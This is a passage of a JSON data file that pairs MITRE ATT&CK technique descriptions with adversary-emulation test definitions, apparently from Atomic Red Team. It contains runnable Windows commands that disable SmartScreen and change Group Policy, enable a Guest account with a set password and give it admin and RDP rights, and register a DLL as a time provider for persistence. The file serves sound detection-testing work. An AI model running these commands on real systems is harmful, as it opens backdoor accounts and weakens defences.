creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Creation", - "File: File Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User", - "SYSTEM" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM", - "User" - ], - "identifier": "T1574.008" - }, - "atomic_tests": [ - { - "name": "powerShell Persistence via hijacking default modules - Get-Variable.exe", - "auto_generated_guid": "1561de08-0b4b-498e-8261-e922f3494aae", - "description": "Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:\"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" \"PathToAtomicsFolder\\T1574.008\\bin\\calc.cs\"\nPowershell -noprofile\n", - "cleanup_command": "Remove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n", - "name": "powershell" - } - } - ] - }, - "T1484.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Itamar Mizrahi, Cymptom", - "Tristan Bennett, Seamless Intelligence" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", - "type": "attack-pattern", - "created": "2020-12-28T21:50:59.844Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1484.001", - "url": "https://attack.mitre.org/techniques/T1484/001" - }, - { - "source_name": "TechNet Group Policy Basics", - "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", - "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019." - }, - { - "source_name": "ADSecurity GPO Persistence 2016", - "url": "https://adsecurity.org/?p=2716", - "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019." - }, - { - "source_name": "Wald0 Guide to GPOs", - "url": "https://wald0.com/?p=179", - "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019." - }, - { - "source_name": "Harmj0y Abusing GPO Permissions", - "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", - "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019." - }, - { - "source_name": "Mandiant M Trends 2016", - "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf", - "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019." - }, - { - "source_name": "Microsoft Hacking Team Breach", - "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/", - "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019." - }, - { - "source_name": "Harmj0y SeEnableDelegationPrivilege Right", - "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", - "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019." - } - ], - "modified": "2021-02-09T15:52:24.315Z", - "name": "Domain Policy Modification: Group Policy Modification", - "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Active Directory: Active Directory Object Creation", - "Command: Command Execution", - "Active Directory: Active Directory Object Deletion", - "Active Directory: Active Directory Object Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1484.001" - }, - "atomic_tests": [ - { - "name": "LockBit Black - Modify Group policy settings -cmd", - "auto_generated_guid": "9ab80952-74ee-43da-a98c-1e740a985f28", - "description": "An adversary can modify the group policy settings.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /t REG_SZ /d Block /f\n", - "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Modify Group policy settings -Powershell", - "auto_generated_guid": "b51eae65-5441-4789-b8e8-64783c26c1d1", - "description": "An adversary modifies group policy settings\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force\n", - "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1078.001": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d", - "type": "attack-pattern", - "created": "2020-03-13T20:15:31.974Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.001", - "url": "https://attack.mitre.org/techniques/T1078/001" - }, - { - "external_id": "CAPEC-70", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/70.html" - }, - { - "source_name": "Microsoft Local Accounts Feb 2019", - "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", - "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019." - }, - { - "source_name": "AWS Root User", - "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", - "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021." - }, - { - "source_name": "Threat Matrix for Kubernetes", - "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021." - }, - { - "source_name": "Metasploit SSH Module", - "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", - "description": "undefined. (n.d.). Retrieved April 12, 2019." - } - ], - "modified": "2021-04-05T20:14:26.846Z", - "name": "Valid Accounts: Default Accounts", - "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "User Account: User Account Authentication", - "Logon Session: Logon Session Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1078.001" - }, - "atomic_tests": [ - { - "name": "Enable Guest account with RDP capability and admin privileges", - "auto_generated_guid": "99747561-ed8d-47f2-9c91-1e5fde1ed6e0", - "description": "After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,\nand desktop will allow multiple RDP connections.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "guest_user": { - "description": "Specify the guest account", - "type": "string", - "default": "guest" - }, - "guest_password": { - "description": "Specify the guest password", - "type": "string", - "default": "Password123!" - }, - "local_admin_group": { - "description": "Specify the admin localgroup name", - "type": "string", - "default": "Administrators" - }, - "remote_desktop_users_group_name": { - "description": "Specify the remote desktop users group name", - "type": "string", - "default": "Remote Desktop Users" - }, - "remove_rdp_access_during_cleanup": { - "description": "Set to 1 if you want the cleanup to remove RDP access to machine", - "type": "integer", - "default": 0 - } - }, - "executor": { - "command": "net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f", - "cleanup_command": "net user #{guest_user} /active:no >nul 2>&1\nnet localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /delete >nul 2>&1\nif #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Activate Guest Account", - "auto_generated_guid": "aa6cb8c4-b582-4f8e-b677-37733914abda", - "description": "The Adversaries can activate the default Guest user. The guest account is inactivated by default\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "guest_user": { - "description": "Specify the guest account", - "type": "string", - "default": "guest" - } - }, - "executor": { - "command": "net user #{guest_user} /active:yes\n", - "cleanup_command": "net user #{guest_user} /active:no\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1547.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Scott Lundgren, @5twenty9, Carbon Black" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", - "created": "2020-01-24T15:51:52.317Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.003", - "url": "https://attack.mitre.org/techniques/T1547/003" - }, - { - "source_name": "Github W32Time Oct 2017", - "url": "https://github.com/scottlundgren/w32time", - "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018." - }, - { - "source_name": "Microsoft W32Time May 2017", - "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings", - "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018." - }, - { - "source_name": "Microsoft W32Time Feb 2018", - "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", - "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018." - }, - { - "source_name": "Microsoft TimeProvider", - "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", - "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)", - "modified": "2022-04-20T16:31:16.715Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Time Providers", - "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "Command: Command Execution", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_permissions_required": [ - "SYSTEM", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.003" - }, - "atomic_tests": [ - { - "name": "Create a new time provider", - "auto_generated_guid": "df1efab7-bc6d-4b88-8be9-91f55ae017aa", - "description": "Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n", - "cleanup_command": "net stop w32time\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Edit an existing time provider", - "auto_generated_guid": "29e0afca-8d1d-471a-8d34-25512fc48315", - "description": "Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n", - "cleanup_command": "net stop w32time\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Windows\\SYSTEM32\\w32time.DLL\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"0\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"0\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1183": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oddvar Moe, @oddvarmoe" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1183", - "url": "https://attack.mitre.org/techniques/T1183" - }, - { - "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", - "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", - "source_name": "Microsoft Dev Blog IFEO Mar 2010" - }, - { - "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", - "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", - "source_name": "Microsoft GFlags Mar 2017" - }, - { - "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit", - "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", - "source_name": "Microsoft Silent Process Exit NOV 2017" - }, - { - "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", - "source_name": "Oddvar Moe IFEO APR 2018" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", - "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", - "source_name": "FSecure Hupigon" - }, - { - "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2", - "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", - "source_name": "Symantec Ushedix June 2008" - } - ], - "modified": "2020-11-10T18:29:30.417Z", - "name": "Image File Execution Options Injection", - "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in 